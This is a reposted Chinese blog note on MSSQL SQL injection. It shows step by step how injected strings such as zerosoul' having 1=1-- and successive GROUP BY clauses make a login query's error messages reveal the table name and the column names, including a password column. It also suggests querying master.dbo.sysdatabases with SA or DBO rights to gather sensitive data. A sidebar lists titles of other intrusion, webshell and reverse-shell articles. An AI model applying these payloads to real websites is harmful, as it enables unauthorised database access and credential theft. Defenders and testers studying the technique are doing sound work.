当前位置: 首页 > news >正文

MSSQL注入利用Group byhaving猜表名和字段名

转自灵魂BLOG!!

lcx和剑心等大牛在06年的时候就已经在用这种语法了,而我等小辈到最近才领略到,惭愧惭愧......

手头暂时没有注入点测试,就先以我机器上的MSSQL做实验吧。
下面的语句我直接写完整的SQL语句,注入的时候稍微改改就能用了,呵呵。

假如现在有个注入点,所查询表的结构如下图 :

 

但是我们是不知道表明,不知道列名的....

如果这个注入点原来的SQL语句是:"select * from FK_admin where x_name='"&username&"'"
我们可以在用户名提交的地方填zerosoul' having 1=1--
整个SQL语句就变成了select * from FK_admin where x_name='zerosoul' having 1=1--'
返回结果如下图,可以把表明FK_admin和第一个列名id爆出来:


着提交zerosoul' group by id having 1=1--
第二个列名x_name也出来了,如下图:



再提交zerosoul' group by id,x_name having 1=1--,爆出第三个列名x_pass,如下图:



然后提交zerosoul' group by id,x_name,x_pass having 1=1--,爆出第最后一个列明x_level。



剩下的事情就比较简单了,呵呵,就需要自由发挥了。

当然如果是SA的话还可以用(select count(*) from master.dbo.sysdatabases where dbid=5)=1这样的语句直接猜MSSQL的系统数据库获得一些敏感信息。上面这个方法在DBO权限下也测试通过。

我觉得我SQL语句学的还是太浅了,只学了基本的语法(貌似大多数人都这样),lcx和剑心他们可能学的比较深入。有时间的话看来我也得继续深入一下了。
这玩意,如果研究的比较深的话,说不定哪天能想出什么奇技淫巧呢,嘿嘿。特别是Oracle,还有一大片牛X的语句等着人去开垦呢。

昨天通宵到现在....本来都关电脑准备睡觉了,上了个厕所突然想起这个来....怕先放下的话会又忘掉,所以又开了电脑实践了一下,顺便做了这个笔记,呵呵。

相关文章:

  • 一份比较详细的DOS命令说明!
  • 一次利用imap漏洞的入侵
  • 学习SQL注入
  • Ubuntu配置apache
  • linux敏感文件
  • 修改Banner
  • ssh反向连接
  • PHP通用防注入安全代码
  • ASP木马Webshell安全解决办案
  • UBUNTU 安装PHP+MYSQL+NGINX
  • 系统密码难以获取时采取的方法
  • 大仙们的经典入侵经验摘录~
  • 内网渗透方法总结
  • 构造注入点后门代码(asp,aspx,php)
  • 浅谈web漏洞挖掘—特殊变量fuzz
  • 【React系列】如何构建React应用程序
  • 77. Combinations
  • IDEA常用插件整理
  • JS变量作用域
  • Linux下的乱码问题
  • Mysql优化
  • python大佬养成计划----difflib模块
  • RxJS 实现摩斯密码(Morse) 【内附脑图】
  • vue:响应原理
  • WordPress 获取当前文章下的所有附件/获取指定ID文章的附件(图片、文件、视频)...
  • Work@Alibaba 阿里巴巴的企业应用构建之路
  • 给Prometheus造假数据的方法
  • 构建二叉树进行数值数组的去重及优化
  • 面试题:给你个id,去拿到name,多叉树遍历
  • 协程
  • 用 Swift 编写面向协议的视图
  • 阿里云服务器购买完整流程
  • 国内唯一,阿里云入选全球区块链云服务报告,领先AWS、Google ...
  • ​【C语言】长篇详解,字符系列篇3-----strstr,strtok,strerror字符串函数的使用【图文详解​】
  • #HarmonyOS:基础语法
  • #include
  • (AngularJS)Angular 控制器之间通信初探
  • (pojstep1.1.1)poj 1298(直叙式模拟)
  • (笔试题)分解质因式
  • (四)汇编语言——简单程序
  • (一) springboot详细介绍
  • (一)Dubbo快速入门、介绍、使用
  • (原创)boost.property_tree解析xml的帮助类以及中文解析问题的解决
  • .bat批处理(七):PC端从手机内复制文件到本地
  • .cfg\.dat\.mak(持续补充)
  • .NET 的静态构造函数是否线程安全?答案是肯定的!
  • .net 开发怎么实现前后端分离_前后端分离:分离式开发和一体式发布
  • .Net6使用WebSocket与前端进行通信
  • .net用HTML开发怎么调试,如何使用ASP.NET MVC在调试中查看控制器生成的html?
  • /bin/bash^M: bad interpreter: No such file or directory
  • :“Failed to access IIS metabase”解决方法
  • @AutoConfigurationPackage的使用
  • @FeignClient 调用另一个服务的test环境,实际上却调用了另一个环境testone的接口,这其中牵扯到k8s容器外容器内的问题,注册到eureka上的是容器外的旧版本...
  • @SuppressWarnings注解
  • [ 隧道技术 ] 反弹shell的集中常见方式(二)bash反弹shell